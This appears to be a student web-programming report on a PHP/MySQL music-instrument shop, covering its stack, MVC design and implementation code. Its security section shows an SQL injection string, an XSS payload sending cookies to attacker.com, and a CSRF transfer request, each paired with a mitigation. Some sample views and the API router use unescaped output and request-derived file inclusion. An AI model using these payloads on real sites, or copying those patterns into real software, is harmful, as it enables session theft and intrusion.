VIETNAM NATIONAL UNIVERSITY HO CHI MINH CITY
HO CHI MINH CITY UNIVERSITY OF TECHNOLOGY
FACULTY OF COMPUTER SCIENCE AND ENGINEERING

WEB PROGRAMMING

MUSIC ECOMMERCE WEBSITE - HIPHOP

Major: Computer Science

Supervisors: Nguyễn Hữu Hiếu

—o0o—

Students: Phạm Võ Quang Minh - 2111762
Đỗ Nguyễn An Huy - 2110193

Email: huy.do862003@hcmut.edu.vn

HCMC, 05/2025

Contents

ID	Name	Shared work	Personal work
2110193	Đỗ Nguyễn An Huy	• Design application's MVC architecture • Design user's templates • Design admin's templates • Implement user administration system	Personal task #1 • Home page • Contact page • Home page management page • Contact management page

Chapter I: Introduction

Music is one of our passions. Therefore, as an idea, we tried to incorporate music elements into this assignment and build a music instrument ecommerce website. This assignment is about building a music ecommerce website that advertises and sells musical instruments, which aims at children as our target audience. We're directly inspired by the design of the MusicPlace (https://musicplace.com/), which is a website whose purpose is to advertise children music courses. The design is bright, colorful, friendly and especially captivating to children, so we decided to challenge ourselves with this design. This website mainly acts as a marketing media that is within accessible reach to everyone. It contains information about various courses, snippets of their classes and user reviews. It also shows guidance on how to register their courses and provide customer service. Our website differs from theirs in one important aspect: ours serves as both a marketing outlet and a commercial site, while theirs is for pure educational and informational purposes.

The stack we've chosen:

- Vanilla Javascript for the frontend, with the aid of jquery.
- TailwindCSS for ease of building user-friendly and responsive websites.
- Pure PHP backend.
- MySQL as the database management system.

The rest of this document is structured as follows.

- Chapter II: A walkthrough on our technology choices and common pitfalls encountered in web development.
- Chapter III: An in-depth problem analysis and our high-level solution to the problem of developing a music ecommerce website, including database design, application structure, etc.
- Chapter IV: Details our implementation, e.g. how we go about and implement the high-level application structure introduced in the previous section.
- Chapter V: Instructs how to install our application from our source code.

Chapter II: Technology

This chapter provides a walkthrough over the technologies we have chosen for our assignment, providing the rationales, their strengths and weaknesses. We conclude this chapter with a list of issues often encounters in our stack and web development in general.

2.1 jQuery and Pure JavaScript

Pure JavaScript represents the foundational programming language of the web, providing direct access to browser APIs without abstraction layers. Modern ECMAScript standards have dramatically enhanced JavaScript's native capabilities, offering features like arrow functions, template literals, destructuring, and promises that make code more concise and readable. The language's evolution has significantly closed the gap that once made utility libraries essential.

Working with pure JavaScript means interacting directly with the Document Object Model (DOM) through methods like querySelector, addEventListener, and the Fetch API. This direct approach yields superior performance as it eliminates the overhead of processing through library abstractions. For performance-critical applications, this efficiency advantage becomes particularly significant at scale.

```
// Pure JavaScript DOM selection and manipulation
document.querySelectorAll('.element').forEach(el => el.style.display = 'none');

// Event handling
document.getElementById('button').addEventListener('click', function() {
  console.log('Button clicked');
});

// Fetch API for AJAX requests
fetch('/api/data')
  .then(response => response.json())
  .then(data => console.log(data));
```

However, pure JavaScript does require more verbose code for certain operations and may present browser compatibility challenges for older environments. The lack of abstraction can lead to more complex implementation for certain cross-browser functionality, potentially requiring polyfills or additional compatibility code.

jQuery emerged as a solution to these exact challenges, introducing a simplified syntax that streamlined common tasks with its "write less, do more" philosophy. Released in 2006, jQuery offered cross-browser compatibility solutions when browser inconsistencies were a significant development hurdle. Its primary advantages include intuitive DOM manipulation, simplified AJAX requests, and an extensive plugin ecosystem.

```
// jQuery DOM selection and manipulation
$('.element').hide();

// Event binding with shorter syntax
$('#button').on('click', function() {
  console.log('Button clicked');
});

// AJAX made simple
$.ajax({
  url: '/api/data',
  success: function(result) {
    console.log(result);
  }
});
```

jQuery's method chaining allows developers to perform multiple operations in a readable sequence, enhancing code clarity for certain tasks. While lightweight compared to full frameworks, jQuery does introduce approximately 30KB (minified and gzipped) of additional code and some performance overhead, particularly for simple DOM operations.

The library has become somewhat outdated compared to modern frameworks like React, Vue, or Angular, which offer component-based architecture and more comprehensive solutions for complex applications. In larger projects, jQuery can lead to maintenance challenges if not properly structured, as its DOM-centric approach doesn't naturally enforce organized code patterns.

2.1.1 Advantages

- Simplifies DOM manipulation and AJAX requests with concise syntax.
- Broad browser compatibility and extensive plugin ecosystem.
- Combined with pure JavaScript for optimal performance where needed.
- Lightweight compared to full frameworks.

2.1.2 Disadvantages

- Somewhat outdated compared to modern frameworks (React, Vue).
- Can lead to spaghetti code in larger applications if not properly structured.
- Performance overhead for simple DOM operations compared to vanilla JS.

2.2 AJAX

AJAX (Asynchronous JavaScript and XML) represents a fundamental web development technique that transformed how web applications interact with servers. Rather than requiring complete page refreshes for new data, AJAX enables applications to send and retrieve data asynchronously in the background, dramatically improving the user experience.

The core advantage of AJAX lies in its ability to update specific portions of a webpage without disrupting the user's current view or interaction. This capability allows for more responsive interfaces that feel closer to desktop applications than traditional web pages. Users can continue engaging with content while new data loads, supporting features like infinite scrolling, live search results, and form submissions without the jarring experience of full page reloads.

```
// Basic AJAX request using XMLHttpRequest
var xhr = new XMLHttpRequest();
xhr.open('GET', '/api/data', true);
xhr.onreadystatechange = function() {
  if (xhr.readyState === 4 && xhr.status === 200) {
    var response = JSON.parse(xhr.responseText);
    updatePageContent(response);
  }
};
xhr.send();

// Modern approach using fetch API
fetch('/api/data')
  .then(response => response.json())
  .then(data => updatePageContent(data))
  .catch(error => console.error('Error:', error));
```

By requesting only the necessary data rather than entire HTML pages, AJAX significantly reduces bandwidth usage and server load. This efficiency becomes particularly valuable for mobile users with limited data plans or in regions with slower internet connections. The reduced payload sizes allow applications to remain responsive even under suboptimal network conditions.

AJAX integrates seamlessly with jQuery through its simplified API, which abstracts away browser compatibility issues and complex configuration options. This integration helped popularize AJAX techniques among web developers who appreciated the straightforward syntax for what would otherwise be complex operations.

```
// jQuery AJAX implementation
$.ajax({
  url: '/api/data',
  method: 'GET',
  dataType: 'json',
  success: function(response) {
    updatePageContent(response);
  },
  error: function(xhr, status, error) {
    handleError(error);
  }
});
```

Despite its benefits, AJAX introduces certain challenges to web development. Application state management becomes more complex as content updates dynamically, potentially leading to inconsistencies if not carefully tracked. The browser's back button behavior may not function as users expect since AJAX updates typically don't create new browser history entries unless specifically programmed.

Error handling requires additional attention with AJAX implementations. Network failures, server errors, and timeout issues must be gracefully managed to prevent applications from appearing broken when requests fail. Proper loading indicators and error messages become essential components of a robust AJAX implementation.

```
fetch('/api/data')
  .then(response => {
    if (!response.ok) {
      throw new Error('Network response was not ok');
    }
    return response.json();
  })
  .then(data => updatePageContent(data))
  .catch(error => {
    displayErrorMessage('Could not load data. Please try again later.');
    console.error('Error details:', error);
  })
  .finally(() => {
    hideLoadingIndicator();
  });
```

Accessibility concerns emerge when content updates occur without properly notifying screen readers or keyboard-focused navigation. Applications must implement ARIA attributes and focus management strategies to ensure all users, including those relying on assistive technologies, can effectively interact with dynamically updated content.

Modern web development has evolved beyond traditional AJAX with the introduction of the Fetch API, which provides a more powerful and flexible approach to making HTTP requests. Additionally, WebSocket technology enables real-time bidirectional communication that complements AJAX for applications requiring live updates.

Despite these advancements, the fundamental concept of asynchronous communication between client and server remains central to contemporary web development. Understanding AJAX principles provides essential context for working with more advanced frameworks and libraries that have built upon these foundations to create increasingly sophisticated web applications.

2.2.1 Advantages

- Enables asynchronous data loading without page refreshes.
- Improves user experience with dynamic content updates.
- Reduces server load by fetching only required data.

- Seamless integration with jQuery.

2.2.2 Disadvantages

- Can complicate application state management.
- Requires careful error handling.
- Potential accessibility issues if not implemented properly.

2.3 Tailwind CSS

Tailwind CSS represents a significant departure from traditional CSS frameworks, employing a utility-first approach that fundamentally changes how developers style web applications. Rather than providing pre-designed components, Tailwind offers low-level utility classes that can be composed to build custom designs without leaving your HTML.

The utility-first methodology enables remarkably rapid UI development once developers become familiar with the class naming conventions. Instead of switching between HTML files and separate CSS stylesheets, developers can implement designs directly in markup, accelerating the development process. This approach proves particularly effective for teams implementing custom designs that don't fit neatly into the constraints of component-based frameworks.

```html
<!-- Traditional CSS approach -->
<button class="btn-primary">Submit</button>

<!-- Tailwind approach -->
<button class="bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded">
  Submit
</button>
```

Tailwind's high degree of customization through its configuration file allows teams to define their design system with precision. By specifying color palettes, spacing scales, typography choices, and breakpoints in the configuration, organizations can ensure design consistency across large applications while maintaining the flexibility to evolve the system as needed.

```js
// tailwind.config.js example
module.exports = {
  theme: {
    extend: {
      colors: {
        'brand-blue': '#1992d4',
        'brand-red': '#e53e3e',
      },
      spacing: {
        '72': '18rem',
        '84': '21rem',
      }
    }
  }
}
```

The framework establishes a consistent design system through predefined values, limiting choices to a controlled set of spacing, sizing, and color options. This constraint paradoxically enhances design consistency and speeds up development by reducing decision fatigue.

However, Tailwind does present certain challenges. The learning curve can be steep for developers accustomed to traditional CSS methodologies, requiring a mindset shift and memorization of utility class names. HTML markup can become verbose when multiple utility classes are applied to elements, potentially affecting readability and maintainability.

```html
<div class="mt-4 flex justify-between items-center px-6 py-3 bg-gray-100 rounded-lg shadow-md
hover:shadow-lg transition-shadow duration-300">
  <!-- Content here -->
</div>
```

The framework requires a build process for optimal production performance, making it less suitable for simple projects where a build step might be considered excessive. This dependency on build tools means developers must configure and maintain additional infrastructure even for smaller projects.

2.3.1 Advantages

- Utility-first approach enables rapid UI development.
- Highly customizable through configuration.
- Consistent design system through predefined values.

2.3.2 Disadvantages

- Steep learning curve for developers used to traditional CSS.
- HTML can become verbose with multiple utility classes.
- Requires build process for optimal production performance.

2.4 PHP

PHP has maintained its position as one of the most widely used server-side programming languages since its introduction in 1995. Originally created as a simple tool for Personal Home Pages (hence the name), PHP has evolved into a full-featured programming language that powers a significant portion of the web, including major platforms like WordPress, Facebook, and Wikipedia.

The language was specifically designed for web development, with built-in features that simplify common web tasks. PHP code can be seamlessly embedded within HTML, making it particularly accessible for developers transitioning from front-end development. This tight integration with the web environment allows for rapid development of dynamic websites with minimal setup requirements.

```
<!DOCTYPE html>
<html>
<head>
  <title>PHP Example</title>
</head>
<body>
  <h1>Hello, <?php echo htmlspecialchars($_GET['name'] ?? 'World'); ?>!</h1>
  <p>The current time is: <?php echo date('Y-m-d H:i:s'); ?></p>
</body>
</html>
```

PHP’s deployment simplicity remains one of its strongest advantages. The language is supported by virtually all web hosting providers, often requiring no additional configuration beyond uploading files to a server. This accessibility has contributed significantly to PHP’s widespread adoption, particularly among small businesses and individual developers who may lack dedicated infrastructure teams.

The PHP ecosystem features an extensive collection of libraries and frameworks that address nearly every web development need. The Composer package manager has standardized dependency management, while frameworks like Laravel, Symfony, and CodeIgniter offer structured approaches to application development. This rich ecosystem accelerates development by providing tested solutions for common requirements.

Beginners appreciate PHP’s gentle learning curve, as the language allows newcomers to achieve functional results quickly without mastering complex programming concepts first. The ability to see immediate results when making changes has made PHP an entry point for many developers beginning their programming journey.

```
// A simple PHP function
function calculateDiscount($price, $percentage) {
  return $price - ($price * $percentage / 100);
}

// Using the function
$originalPrice = 100;
$discountedPrice = calculateDiscount($originalPrice, 15);
echo "Original price: $originalPrice, with 15% discount: $discountedPrice";
```

Despite its strengths, PHP has faced criticism for several shortcomings. The language’s historical development has resulted in inconsistent function naming conventions and parameter ordering, requiring developers to frequently consult documentation. Functions like strpos(), str_replace(), and array_map() exemplify this inconsistency, with varying parameter orders and naming patterns.

Performance limitations exist when compared to compiled languages or more modern interpreted languages. While PHP 7 and 8 have brought significant performance improvements, high-traffic applications may still encounter scaling challenges that require additional caching layers or optimization strategies.

Older versions of PHP suffered from weak type safety, leading to subtle bugs and security vulnerabilities. Modern PHP (version 7+) has addressed many of these concerns by introducing type declarations, return type hints, and strict typing options, but legacy codebases may still exhibit these problems.

```
// Modern PHP with type declarations
function addNumbers(int $a, int $b): int {
    return $a + $b;
}

// This will throw a TypeError in strict mode
$result = addNumbers("5", 10);
```

Despite these disadvantages, PHP continues to evolve with regular language updates that introduce modern programming features while maintaining backward compatibility. Its pragmatic approach to web development, combined with extensive hosting support and a mature ecosystem, ensures that PHP remains relevant for a wide range of web applications, particularly those where development speed and hosting accessibility are prioritized over absolute performance.

2.4.1 Advantages

- Specifically designed for web development.
- Easy to deploy and widely supported by hosting providers.
- Large ecosystem of libraries and frameworks.
- Simple learning curve for beginners.

2.4.2 Disadvantages

- Inconsistent function naming conventions.
- Performance limitations compared to compiled languages.
- Type safety issues in older versions (improved in PHP 7+).

2.5 MySQL

MySQL stands as one of the most established and widely deployed relational database management systems in the world, powering countless applications from small personal websites to enterprise-level solutions. Its maturity in the market has created a robust ecosystem with comprehensive documentation, extensive community support, and a wealth of available expertise.

As a relational database, MySQL excels at managing structured data through its table-based architecture where relationships between data entities are clearly defined. This structured approach ensures data integrity through ACID (Atomicity, Consistency, Isolation, Durability) compliance, making it particularly suitable for applications where transactional reliability is essential, such as financial systems, inventory management, and content management platforms.

```sql
CREATE TABLE customers (
  id INT AUTO_INCREMENT PRIMARY KEY,
  name VARCHAR(100) NOT NULL,
  email VARCHAR(100) UNIQUE NOT NULL,
  created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

CREATE TABLE orders (
  id INT AUTO_INCREMENT PRIMARY KEY,
  customer_id INT NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  order_date TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
  FOREIGN KEY (customer_id) REFERENCES customers(id)
);
```

MySQL's performance characteristics are well-understood, with predictable query execution and optimization paths that have been refined over decades of development. The query optimizer effectively handles complex joins, aggregations, and filtering operations, particularly when proper indexing strategies are implemented. For many applications with moderate data volumes and well-defined data structures, MySQL provides excellent performance without requiring extensive tuning.

The database offers a rich set of features including stored procedures, triggers, and views that enable complex data operations to be encapsulated within the database itself. Its replication capabilities provide options for read scaling and high availability configurations that meet the needs of most business applications.

However, MySQL does present certain limitations that become apparent in specific use cases. Horizontal scaling with MySQL can be challenging compared to distributed database systems designed specifically for that purpose. While replication provides some scalability benefits, true sharding across multiple servers requires careful application design and often introduces complexity.

The rigid schema structure that provides data integrity advantages also creates inflexibility when data models evolve rapidly. Schema changes in large tables can be resource-intensive operations that require careful planning and execution. This characteristic makes MySQL less suitable for applications with frequently changing data structures or those requiring schema-less storage options.

```sql
-- Adding a simple column can become a resource-intensive operation on large tables
ALTER TABLE customers ADD COLUMN phone_number VARCHAR(20);
```

Performance can degrade with very large datasets unless proper optimization techniques are applied. As tables grow beyond tens of millions of rows, query performance may suffer without careful attention to indexing strategies, partitioning, and query optimization. Applications with massive data growth trajectories may eventually encounter limitations that require additional scaling solutions or migration to different database technologies.

Despite these challenges, MySQL remains a solid choice for a wide range of applications due to its reliability, predictability, and comprehensive feature set. Its long-standing presence in the industry ensures continued development and support, making it a dependable foundation for applications where structured data management is a primary requirement.

2.5.1 Advantages

- Reliable and well-established relational database.
- Excellent documentation and community support.
- Good performance for structured data.
- Strong data integrity through ACID compliance.

2.5.2 Disadvantages

- Scaling horizontally can be challenging.
- Less flexible than NoSQL databases for rapidly changing data structures.
- Performance can degrade with very large datasets without proper optimization.

2.6 Security Vulnerabilities and Mitigations

2.6.1 SQL Injection

SQL injection occurs when raw SQL queries incorporate unsanitized user input, allowing attackers to manipulate database queries. This vulnerability can lead to unauthorized data access, data corruption, or even complete system compromise. Attackers exploit poorly constructed queries by injecting malicious SQL fragments that alter the query's intended behavior.

```php
// Vulnerable code example
$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
// Attacker input: admin' OR '1'='1
// Results in: SELECT * FROM users WHERE username = 'admin' OR '1'='1'
```

Mitigations:

- Prepared statements with parameter binding provide the most effective defense against SQL injection by separating SQL code from data. This approach ensures user input is treated strictly as parameter values rather than executable code.

```
// Using PDO with parameterized queries
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
$user = $stmt->fetch();

// Or with named parameters
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute(['username' => $username]);
$user = $stmt->fetch();
```

- Input validation and sanitization provide an additional security layer by rejecting or cleaning suspicious input before processing. Limiting database user privileges according to the principle of least privilege ensures that even if an injection occurs, the potential damage remains constrained.

2.6.2 Cross-Site Scripting (XSS)

XSS vulnerabilities arise when applications render unsanitized user input as HTML or JavaScript, enabling attackers to inject malicious scripts that execute in victims' browsers. These scripts can steal session cookies, redirect users to malicious sites, or manipulate page content.

```
<!-- Vulnerable code -->
<div>Welcome, <?php echo $_GET['name']; ?>!</div>
<!-- Attacker input: <script>document.location='https://attacker.com/steal.php?cookie='+document.
cookie</script> -->
```

Mitigations:

- Context-appropriate output encoding prevents browsers from interpreting special characters as code. Functions like `htmlspecialchars()` in PHP convert potentially dangerous characters to their HTML entity equivalents.

```
// Proper output encoding
<div>Welcome, <?php echo htmlspecialchars($_GET['name'], ENT_QUOTES); ?>!</div>
```

- Content Security Policy (CSP) headers restrict which resources browsers can load, providing defense-in-depth against script injection. HTTPOnly cookies prevent JavaScript access to sensitive cookies, thwarting many session theft attempts even if XSS occurs.

```
// Setting CSP header
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
```

```
// Setting HTTPOnly cookie
setcookie("session_id", $sessionId, $expiry, "/", "", true, true); // Last parameter enables HTTPOnly
```

2.6.3 CSRF (Cross-Site Request Forgery)

CSRF attacks exploit the trust that websites place in authenticated user browsers. Attackers craft pages that automatically submit requests to vulnerable sites, potentially triggering actions like password changes or fund transfers without user awareness.

```
<!-- Malicious page on attacker.com -->
<img src="https://bank.com/transfer?to=attacker&amount=1000" style="display:none">
<!-- When visited by an authenticated user, triggers an unwanted transfer -->
```

Mitigations:

- Unique CSRF tokens embedded in forms and validated on submission prevent automated cross-site requests. These tokens ensure that only forms legitimately generated by the application can submit valid requests.

```
// Generate and store CSRF token
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// Form with CSRF token
<form method="post" action="/transfer">
    <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
    <!-- Form fields -->
</form>

// Validation on submission
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
    die("CSRF validation failed");
}
```

- SameSite cookie attributes instruct browsers to include cookies only with requests originating from the same site, providing an additional layer of protection. Requiring confirmation for sensitive operations adds human verification that automated CSRF attacks cannot easily bypass.

2.6.4 Session Hijacking

Session hijacking involves attackers obtaining or guessing valid session identifiers to impersonate legitimate users. This can occur through network sniffing, XSS attacks, or predictable session ID generation.

Mitigations:

- Secure session handling with regular session regeneration reduces the window of opportunity for hijacking attempts. Generating new session IDs after authentication and significant privilege changes prevents attackers from using captured identifiers.

```
// Regenerate session ID after login
session_regenerate_id(true);
```

- HTTPS implementation throughout the application prevents network-level eavesdropping on session identifiers. Proper session timeout controls limit the lifetime of session identifiers, while IP-based validation for critical operations can detect suspicious location changes that might indicate hijacking.

2.7 SEO Optimization

Search Engine Optimization (SEO) is the practice of improving a website's visibility and ranking in search engine results pages (SERPs). When implemented effectively, SEO helps increase organic (non-paid) traffic to your website by making it more attractive to search engines like Google, Bing, and Yahoo.

Utilized strategies:

- Semantic HTML structure with appropriate heading hierarchy.
- Server-side rendering for faster initial page loads.
- Mobile-responsive design using Tailwind's responsive utilities.
- Optimized meta tags (`title`, `description`, Open Graph).
- URL structure optimization with clean, descriptive URLs.
- Image optimization with appropriate `alt` tags and lazy loading.

Chapter III: Design

3.1 MVC Architecture

The Model-View-Controller (MVC) architectural pattern represents a fundamental approach to application design that emphasizes separation of concerns. This separation creates a modular codebase where components have distinct responsibilities, facilitating maintenance, testing, and scalability. Our PHP application embraces these core principles while implementing them in a pragmatic manner suited to web development requirements.

3.1.1 Conceptual overview

The MVC implementation divides the application into three primary component types:

Model Layer: Responsible for data retrieval, storage, validation, and business rule enforcement. This layer encapsulates all data operations and presents a clean interface to controllers, abstracting database operations and ensuring data integrity.

View Layer: Handles the presentation logic, transforming data from models into user interface elements. Our implementation uses PHP-based templates with layout composition, allowing for consistent UI elements across pages.

Controller Layer: Orchestrates the application flow by receiving HTTP requests, interacting with appropriate models, and selecting views for rendering. Controllers serve as the intermediary that connects user interaction with system functionality.

3.1.2 Directory Structure

The physical organization of the codebase reflects the conceptual divisions of MVC, with additional supporting directories for configuration, middleware, and deployment resources:

```
├── api/               = API endpoints for AJAX interactions
├── config/            = Configuration files and environment settings
├── controllers/       = Controller classes organized by domain
├── middleware/        = Request preprocessing components
├── migrations/        = Database schema version files
├── models/            = Data and business logic components
├── public/            = Publicly accessible assets
├── views/             = Templates and presentation logic
│   ├── layouts/       = Layout templates for page composition
│   └── [feature dirs]/  = Feature-specific view templates
├── .htaccess          = Web server configuration
├── index.php          = Application entry point
└── routes.php         = URL routing definitions
```

This structure balances conceptual purity with practical organization, grouping files by both responsibility and feature context.

3.2 Application Flow

The system processes user interactions through carefully defined execution paths. These flows can be categorized into two primary patterns with several distinct phases:

3.2.1 Standard Web Request Flow

This flow represents the traditional request/response cycle where the server generates complete HTML pages:

1. **Request Initiation**:
   - User requests a URL through their browser
   - Web server receives the request and routes it to the application entry point
   - `.htaccess` settings ensure all requests are directed to `index.php`
2. **Request Preprocessing**:
   - Session is initialized (`session_start()`)
   - Configuration files are loaded (`config/index.php`)
   - Routes are registered (`routes.php`)
   - View utilities are made available (`views/index.php`)
   - Middleware is prepared (`middleware/UserMiddleware.php`)
3. **Route Resolution**:
   - Application extracts the request path and method
   - System checks if the path exists in the registered routes
   - For undefined routes, the system renders a 404 page
4. **Middleware Processing**:
   - UserMiddleware validates session state and authentication
   - Middleware may redirect unauthenticated users to login page
   - Request context is established (e.g., current user)
5. **Controller Delegation**:
   - Appropriate controller is instantiated based on the route
   - Controller's `route()` method receives HTTP method and path
   - Controller determines which action method to execute
6. **Model Interaction**:
   - Controller instantiates required model objects
   - Models connect to the database through the Database singleton
   - Models execute queries and retrieve data
   - Domain objects are created from database records
   - Business rules are applied to the retrieved data
7. **View Preparation**:
   - Controller organizes model data into view-friendly structures

- Data array is passed to the view rendering function

8. **View Rendering**:
   - Output buffering is initiated to capture rendered content
   - View template is included and executes, generating HTML
   - View may access passed data to populate dynamic elements
   - Layout template is loaded with the buffered content
   - Final HTML is sent to the browser

9. **Response Completion**:
   - Buffer is flushed to the client
   - Connection is closed
   - Browser renders the received HTML

3.2.2 AJAX Interaction Flow

This pattern supports dynamic interactions without requiring full page reloads:

1. **Client-side Initiation**:
   - JavaScript event triggers on user interaction
   - AJAX request is constructed with appropriate headers
   - Request is directed to an API endpoint with payload data

2. **Server Preprocessing**:
   - Request arrives at the application entry point
   - System detects API path prefix (`/api/`)
   - Direct file inclusion occurs instead of controller routing

3. **API Endpoint Processing**:
   - Specific API PHP script is loaded (e.g., `search-photos.php`)
   - Authentication and authorization are verified
   - Request parameters are validated

4. **Model Interaction**:
   - API script interacts with appropriate models
   - Database operations are performed
   - Results are processed according to business rules

5. **Response Formatting**:
   - Data is structured as JSON or required format
   - Headers are set for content type and caching
   - Response is encoded and sent to client

6. **Client-side Processing**:
   - JavaScript receives and parses the response
   - DOM is updated based on received data
   - User interface reflects the changes without page reload

This dual-flow architecture provides flexibility to handle both traditional page requests and dynamic interactions while maintaining consistent structural organization and separation of concerns.

Chapter IV: Implementation

4.1 Model Implementation

The Model layer consists of two primary component types:

1. **Domain Objects**: Plain PHP classes that represent business entities with properties and minimal behavior.
2. **Model Services**: Classes that handle data operations for specific entity types.

Here is a high-level implementation example of the Model layer:

```
// Domain Object Example
class User {
  public int $id;
  public DateTime $dob;
  public string $firstName;
  public string $lastName;
  public string $email;
  public bool $isAdmin;

  public function __construct(int $id, DateTime $dob, string $firstName,
                              string $lastName, string $email, bool $isAdmin) {
    $this->id = $id;
    $this->dob = $dob;
    $this->firstName = $firstName;
    $this->lastName = $lastName;
    $this->email = $email;
    $this->isAdmin = $isAdmin;
  }

  public function getFullName(): string {
    return $this->firstName . ' ' . $this->lastName;
  }
}

// Model Service Example
class UserModel {
  private $db;

  public function __construct() {
    $this->db = Database::getInstance();
  }

  public function fetchById(int $id): ?User {
    // Database interaction logic
    // Returns User object or null
  }

  public function fetchAll(): array {
    // Database interaction logic
    // Returns array of User objects
  }

  public function create(array $userData): ?int {
    // Validation and insertion logic
    // Returns new ID or null on failure
  }

  public function update(int $id, array $userData): bool {
    // Validation and update logic
    // Returns success status
  }

  public function delete(int $id): bool {
    // Deletion logic
    // Returns success status
  }
}
```

The implementation employs several technical approaches:

- **PDO for Database Access**: Provides secure parameterized queries and database abstraction
- **Transaction Management**: Ensures data integrity during operations
- **Type Declarations**: Leverages PHP's type system for code clarity and error prevention
- **Null Handling**: Returns null for failed operations allowing graceful error management
- **Feature-based Organization**: Models are grouped in directories by feature when appropriate

This approach creates a data layer that encapsulates database operations while providing clean interfaces to the rest of the system.

4.2 View Implementation

The View layer employs a template-based system with layout composition. Here's a high-level implementation:

```
// View rendering utilities
function renderContentInLayout(string $layout, string $content, array $data): void {
  // The $content variable is made available to the layout
  // The $data array is extracted to variables for the layout
  extract($data);
  include $layout;
}

function renderView(string $view, array $data): void {
  // Start output buffering to capture view content
  ob_start();
  // Extract data to variables for the view
  extract($data);
  // Include the view file, which now has access to extracted variables
  include $view;
  // Get buffered content
  $content = ob_get_clean();
  // Render content within the layout
  renderContentInLayout('views/layouts/default.php', $content, $data);
}

// Example layout file (views/layouts/default.php)
/*
<!DOCTYPE html>
<html>
<head>
  <title>Application</title>
  <link rel="stylesheet" href="/css/style.css">
</head>
<body>
  <header>
    <!-- Header content -->
  </header>

  <main>
    <?php echo $content; ?>
  </main>

  <footer>
    <!-- Footer content -->
  </footer>
</body>
</html>
*/

// Example view file (views/home/index.php)
/*
<div class="welcome">
  <h1><?php echo $introduction->title; ?></h1>
  <p><?php echo $introduction->content; ?></p>
</div>

<div class="quote">
  <blockquote><?php echo $quote->text; ?></blockquote>
  <cite><?php echo $quote->author; ?></cite>
</div>

<div class="newsletter">
  <?php foreach ($newsLetters as $letter): ?>
    <article>
      <h2><?php echo $letter->title; ?></h2>
      <p><?php echo $letter->excerpt; ?></p>
      <a href="/newsletter/<?php echo $letter->id; ?>">Read more</a>
    </article>
  <?php endforeach; ?>
</div>
*/
```

Key technical features include:

- **Output Buffering**: Captures rendered content for inclusion in layouts
- **Layout Templates**: Provides consistent page structure across the application
- **Context-specific Rendering**: Different rendering functions for various user contexts
- **Data Passing**: Controllers supply data arrays to views for template variable rendering

This implementation balances simplicity with the flexibility needed for a multi-faceted user interface.

4.3 Controller Implementation

Controllers serve as the coordinators between HTTP requests, business logic, and presentation. Here's a high-level implementation:

```
// Base Controller (optional)
abstract class Controller {
  protected function requireAuthentication(): void {
    if (!isset($_SESSION['user_id'])) {
      header('Location: /login');
      exit;
    }
  }

  protected function requireAdmin(): void {
    if (!isset($_SESSION['user_id']) || !$_SESSION['is_admin']) {
      header('Location: /login');
      exit;
    }
  }
}

// Feature-specific Controller
class HomeController extends Controller {
  public function route(string $method, string $path): void {
    if ('/' === $path && 'GET' === $method) {
      $this->index();
    } else {
      // Handle invalid method/path combinations
      header('HTTP/1.1 405 Method Not Allowed');
      exit;
    }
  }

  public function index(): void {
    // Instantiate models
    $newsLetterModel = new NewsLetterModel();
    $introductionModel = new IntroductionModel();
    $quoteModel = new QuoteModel();

    // Fetch data from models
    $newsLetters = $newsLetterModel->fetchAll();
    $introduction = $introductionModel->fetch();
    $quotes = $quoteModel->fetchAll();

    // Pass data to view
    renderView('views/home/index.php', [
      'newsLetters' => $newsLetters,
      'introduction' => $introduction,
      'quotes' => $quotes
    ]);
  }
}

// Admin-specific Controller
class AdminController extends Controller {
  public function route(string $method, string $path): void {
    // First ensure admin privileges for all routes
    $this->requireAdmin();

    // Route to appropriate method
    if ('/admin/' === $path && 'GET' === $method) {
      $this->dashboard();
    } else if ('/admin/contacts/' === $path && 'GET' === $method) {
      $this->viewContacts();
    } else if ('/admin/contacts/' === $path && 'POST' === $method) {
      $this->updateContact();
    } else {
      // Handle invalid path/method
      header('HTTP/1.1 404 Not Found');
      exit;
    }
  }

  private function dashboard(): void {
    // Dashboard implementation
  }

  private function viewContacts(): void {
    // Contact list implementation
  }

  private function updateContact(): void {
    // Contact update implementation
  }
}
```

The implementation approach includes:

- **Method-based Routing**: Controllers determine which method to call based on HTTP method and path
- **Model Coordination**: Controllers instantiate and utilize multiple models as needed
- **Data Preparation**: Controllers gather and organize data before passing to views
- **HTTP Method Validation**: Controllers enforce appropriate HTTP methods for actions
- **Authorization Logic**: Controllers may include access control checks for protected routes

This pattern creates a clean coordination layer that keeps business logic in models and presentation logic in views.

4.4 Router Implementation

The Router directs incoming requests to appropriate controllers. Here's a high-level implementation:

```
// routes.php - Route definitions
$routes = [
  '/' => new HomeController(),
  '/login/' => new LoginController(),
  '/logout/' => new LoginController(),
  '/signup/' => new LoginController(),
  '/contact/' => new ContactController(),
  '/admin/' => new AdminController(),
  '/admin/home-page/' => new AdminController(),
  '/admin/contacts/' => new AdminController(),
  '/account/' => new AccountController(),
  '/shop/' => new ShopController(),
];

// index.php - Application entry point
<?php
session_start();

// Load dependencies
require_once 'config/index.php';
require_once 'routes.php';
require_once 'views/index.php';
require_once 'middleware/UserMiddleware.php';

// Extract request information
$path = $_SERVER['PATH_INFO'] ?? '/';
```

```php
$method = $_SERVER['REQUEST_METHOD'];

// Route the request
if (str_starts_with($path, "/api/")) {
  // Handle API requests
  $apiFile = trim($path, '/') . '.php';
  if (file_exists($apiFile)) {
    require_once($apiFile);
  } else {
    header('HTTP/1.1 404 Not Found');
    echo json_encode(['error' => 'API endpoint not found']);
  }
} else if (array_key_exists($path, $routes)) {
  // Handle controller-based routes
  $controller = $routes[$path];
  $controller->route($method, $path);
} else {
  // Handle 404 for undefined routes
  header('HTTP/1.1 404 Not Found');
  renderView('views/404.php', []);
}
```

The routing implementation uses:

- **Path-based Mapping**: Routes are defined as URL paths mapped to controller instances
- **Array Structure**: Simple associative array provides readable route definitions
- **Controller Instance Reuse**: Multiple paths can map to the same controller instance
